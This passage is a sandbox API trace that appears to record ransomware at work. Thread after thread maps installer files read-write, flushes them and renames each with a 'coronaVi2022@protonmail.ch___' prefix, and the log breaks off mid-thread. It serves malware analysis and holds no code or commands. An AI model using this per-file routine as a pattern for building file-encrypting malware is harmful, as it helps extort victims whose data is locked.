	[0081.894] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0081.895] free (_Block=0x2f202e8) 
	[0081.895] RtlExitUserThread (Status=0x0) 

Thread:
	id = 112
	os_tid = 0x1164

	[0081.658] _alloca_probe () returned 0x40328a
	[0081.659] GetCurrentThreadId () returned 0x1164
	[0081.659] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.660] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x488
	[0081.660] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x364ff5c | out: lpFileSize=0x364ff5c*=3546) returned 1
	[0081.660] CreateFileMappingA (hFile=0x488, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde3, lpName=0x0) returned 0x48c
	[0081.660] MapViewOfFile (hFileMappingObject=0x48c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0081.661] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0081.661] CloseHandle (hObject=0x48c) returned 1
	[0081.661] GetCurrentThreadId () returned 0x1164
	[0081.661] FlushFileBuffers (hFile=0x488) returned 1
	[0081.663] CloseHandle (hObject=0x488) returned 1
	[0081.665] _swprintf (in: param_1=0x3649f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.665] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.666] free (_Block=0x2f212f0) 
	[0081.666] RtlExitUserThread (Status=0x0) 

Thread:
	id = 113
	os_tid = 0xea8

	[0081.675] _alloca_probe () returned 0x40328a
	[0081.676] GetCurrentThreadId () returned 0xea8
	[0081.676] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c
	[0081.676] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x364ff5c | out: lpFileSize=0x364ff5c*=79634) returned 1
	[0081.676] CreateFileMappingA (hFile=0x48c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13713, lpName=0x0) returned 0x490
	[0081.676] MapViewOfFile (hFileMappingObject=0x490, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0081.692] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0081.693] CloseHandle (hObject=0x490) returned 1
	[0081.693] GetCurrentThreadId () returned 0xea8
	[0081.693] FlushFileBuffers (hFile=0x48c) returned 1
	[0081.886] CloseHandle (hObject=0x48c) returned 1
	[0081.890] _swprintf (in: param_1=0x3649f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0081.890] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0081.891] free (_Block=0x2f212f0) 
	[0081.891] RtlExitUserThread (Status=0x0) 

Thread:
	id = 114
	os_tid = 0x1168

	[0081.711] _alloca_probe () returned 0x40328a
	[0081.711] GetCurrentThreadId () returned 0x1168
	[0081.711] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.711] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494
	[0081.711] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x378ff5c | out: lpFileSize=0x378ff5c*=3046) returned 1
	[0081.712] CreateFileMappingA (hFile=0x494, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbeb, lpName=0x0) returned 0x498
	[0081.712] MapViewOfFile (hFileMappingObject=0x498, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3790000
	[0081.713] UnmapViewOfFile (lpBaseAddress=0x3790000) returned 1
	[0081.713] CloseHandle (hObject=0x498) returned 1
	[0081.713] GetCurrentThreadId () returned 0x1168
	[0081.713] FlushFileBuffers (hFile=0x494) returned 1
	[0081.743] CloseHandle (hObject=0x494) returned 1
	[0081.745] _swprintf (in: param_1=0x3789f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.745] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.745] free (_Block=0x2f23520) 
	[0081.745] RtlExitUserThread (Status=0x0) 

Thread:
	id = 115
	os_tid = 0x114c

	[0081.760] _alloca_probe () returned 0x40328a
	[0081.760] GetCurrentThreadId () returned 0x114c
	[0081.760] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.761] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494
	[0081.761] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=79296) returned 1
	[0081.761] CreateFileMappingA (hFile=0x494, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135c0, lpName=0x0) returned 0x474
	[0081.761] MapViewOfFile (hFileMappingObject=0x474, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0081.785] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0081.786] CloseHandle (hObject=0x474) returned 1
	[0081.786] GetCurrentThreadId () returned 0x114c
	[0081.786] FlushFileBuffers (hFile=0x494) returned 1
	[0081.900] CloseHandle (hObject=0x494) returned 1
	[0081.903] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0081.903] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0081.903] free (_Block=0x2f1c2c8) 
	[0081.903] RtlExitUserThread (Status=0x0) 

Thread:
	id = 117
	os_tid = 0x115c

	[0081.803] _alloca_probe () returned 0x40328a
	[0081.803] GetCurrentThreadId () returned 0x115c
	[0081.803] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c
	[0081.804] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=4040) returned 1
	[0081.804] CreateFileMappingA (hFile=0x44c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfcf, lpName=0x0) returned 0x498
	[0081.804] MapViewOfFile (hFileMappingObject=0x498, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0081.805] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0081.805] CloseHandle (hObject=0x498) returned 1
	[0081.805] GetCurrentThreadId () returned 0x115c
	[0081.805] FlushFileBuffers (hFile=0x44c) returned 1
	[0081.809] CloseHandle (hObject=0x44c) returned 1
	[0081.811] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.811] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.812] free (_Block=0x2f13060) 
	[0081.812] RtlExitUserThread (Status=0x0) 

Thread:
	id = 118
	os_tid = 0x1158

	[0081.814] _alloca_probe () returned 0x40328a
	[0081.815] GetCurrentThreadId () returned 0x1158
	[0081.815] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.815] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498
	[0081.815] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=82374) returned 1
	[0081.815] CreateFileMappingA (hFile=0x498, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x141cb, lpName=0x0) returned 0x49c
	[0081.815] MapViewOfFile (hFileMappingObject=0x49c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0081.831] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0081.832] CloseHandle (hObject=0x49c) returned 1
	[0081.832] GetCurrentThreadId () returned 0x1158
	[0081.832] FlushFileBuffers (hFile=0x498) returned 1
	[0082.005] CloseHandle (hObject=0x498) returned 1
	[0082.007] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0082.007] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0082.008] free (_Block=0x2f13060) 
	[0082.008] RtlExitUserThread (Status=0x0) 

Thread:
	id = 120
	os_tid = 0x1150

	[0081.846] _alloca_probe () returned 0x40328a
	[0081.847] GetCurrentThreadId () returned 0x1150
	[0081.847] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.847] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0081.847] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x350ff5c | out: lpFileSize=0x350ff5c*=3683) returned 1
	[0081.847] CreateFileMappingA (hFile=0x4a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe65, lpName=0x0) returned 0x4a4
	[0081.847] MapViewOfFile (hFileMappingObject=0x4a4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0081.849] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0081.849] CloseHandle (hObject=0x4a4) returned 1
	[0081.849] GetCurrentThreadId () returned 0x1150
	[0081.849] FlushFileBuffers (hFile=0x4a0) returned 1
	[0081.851] CloseHandle (hObject=0x4a0) returned 1
	[0081.854] _swprintf (in: param_1=0x3509f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.854] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.854] free (_Block=0x2f24528) 
	[0081.854] RtlExitUserThread (Status=0x0) 

Thread:
	id = 121
	os_tid = 0x13f0

	[0081.856] _alloca_probe () returned 0x40328a
	[0081.857] GetCurrentThreadId () returned 0x13f0
	[0081.857] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.857] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4
	[0081.857] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x350ff5c | out: lpFileSize=0x350ff5c*=80738) returned 1
	[0081.857] CreateFileMappingA (hFile=0x4a4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13b63, lpName=0x0) returned 0x4a8
	[0081.857] MapViewOfFile (hFileMappingObject=0x4a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0081.874] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0081.875] CloseHandle (hObject=0x4a8) returned 1
	[0081.875] GetCurrentThreadId () returned 0x13f0
	[0081.875] FlushFileBuffers (hFile=0x4a4) returned 1
	[0082.009] CloseHandle (hObject=0x4a4) returned 1
	[0082.012] _swprintf (in: param_1=0x3509f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0082.012] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0082.012] free (_Block=0x2f24528) 
	[0082.013] RtlExitUserThread (Status=0x0) 

Thread:
	id = 122
	os_tid = 0x13f8

	[0081.934] _alloca_probe () returned 0x40328a
	[0081.934] GetCurrentThreadId () returned 0x13f8
	[0081.934] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.935] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0081.935] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=54456) returned 1
	[0081.935] CreateFileMappingA (hFile=0x480, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd4bf, lpName=0x0) returned 0x48c
	[0081.935] MapViewOfFile (hFileMappingObject=0x48c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0081.946] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0081.946] CloseHandle (hObject=0x48c) returned 1
	[0081.946] GetCurrentThreadId () returned 0x13f8
	[0081.947] FlushFileBuffers (hFile=0x480) returned 1
	[0081.949] CloseHandle (hObject=0x480) returned 1
	[0081.952] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0081.952] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0081.952] free (_Block=0x2f25530) 
	[0081.952] RtlExitUserThread (Status=0x0) 

Thread:
	id = 123
	os_tid = 0x13fc

	[0081.954] _alloca_probe () returned 0x40328a
	[0081.955] GetCurrentThreadId () returned 0x13fc
	[0081.955] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0081.955] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c
	[0081.955] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=81482) returned 1
	[0081.955] CreateFileMappingA (hFile=0x48c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e53, lpName=0x0) returned 0x4a8
	[0081.955] MapViewOfFile (hFileMappingObject=0x4a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0081.971] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0081.972] CloseHandle (hObject=0x4a8) returned 1
	[0081.972] GetCurrentThreadId () returned 0x13fc
	[0081.972] FlushFileBuffers (hFile=0x48c) returned 1
	[0082.064] CloseHandle (hObject=0x48c) returned 1
	[0082.067] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0082.067] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0082.068] free (_Block=0x2f202e8) 
	[0082.068] RtlExitUserThread (Status=0x0) 

Thread:
	id = 124
	os_tid = 0x728

	[0081.987] _alloca_probe () returned 0x40328a
	[0081.987] GetCurrentThreadId () returned 0x728
	[0081.987] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0081.987] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0081.987] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3865) returned 1
	[0081.988] CreateFileMappingA (hFile=0x4ac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf21, lpName=0x0) returned 0x4b0
	[0081.988] MapViewOfFile (hFileMappingObject=0x4b0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0081.989] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0081.989] CloseHandle (hObject=0x4b0) returned 1
	[0081.989] GetCurrentThreadId () returned 0x728
	[0081.989] FlushFileBuffers (hFile=0x4ac) returned 1
	[0081.998] CloseHandle (hObject=0x4ac) returned 1
	[0082.000] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0082.000] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0082.000] free (_Block=0x2f25530) 
	[0082.000] RtlExitUserThread (Status=0x0) 

Thread:
	id = 125
	os_tid = 0xb0

	[0082.035] _alloca_probe () returned 0x40328a
	[0082.035] GetCurrentThreadId () returned 0xb0
	[0082.035] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0082.036] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498
	[0082.036] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x364ff5c | out: lpFileSize=0x364ff5c*=77680) returned 1
	[0082.036] CreateFileMappingA (hFile=0x498, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12f70, lpName=0x0) returned 0x4ac
	[0082.036] MapViewOfFile (hFileMappingObject=0x4ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0082.051] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0082.052] CloseHandle (hObject=0x4ac) returned 1
	[0082.052] GetCurrentThreadId () returned 0xb0
	[0082.052] FlushFileBuffers (hFile=0x498) returned 1
	[0082.117] CloseHandle (hObject=0x498) returned 1
	[0082.120] _swprintf (in: param_1=0x3649f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0082.120] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0082.121] free (_Block=0x2f26538) 
	[0082.121] RtlExitUserThread (Status=0x0) 

Thread:
	id = 126
	os_tid = 0x13f4

	[0082.081] _alloca_probe () returned 0x40328a
	[0082.082] GetCurrentThreadId () returned 0x13f4
	[0082.082] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0082.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0082.082] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=3859) returned 1
	[0082.082] CreateFileMappingA (hFile=0x4ac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf15, lpName=0x0) returned 0x4b0
	[0082.082] MapViewOfFile (hFileMappingObject=0x4b0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0082.083] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0082.084] CloseHandle (hObject=0x4b0) returned 1
	[0082.084] GetCurrentThreadId () returned 0x13f4
	[0082.084] FlushFileBuffers (hFile=0x4ac) returned 1
	[0082.086] CloseHandle (hObject=0x4ac) returned 1
	[0082.088] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0082.088] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0082.088] free (_Block=0x2f13060) 
	[0082.088] RtlExitUserThread (Status=0x0) 

Thread:
	id = 127
	os_tid = 0x13ec

	[0082.090] _alloca_probe () returned 0x40328a
	[0082.091] GetCurrentThreadId () returned 0x13ec
	[0082.091] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0082.091] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0
	[0082.091] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=76818) returned 1
	[0082.091] CreateFileMappingA (hFile=0x4b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12c13, lpName=0x0) returned 0x4b4
	[0082.091] MapViewOfFile (hFileMappingObject=0x4b4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0082.106] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0082.107] CloseHandle (hObject=0x4b4) returned 1
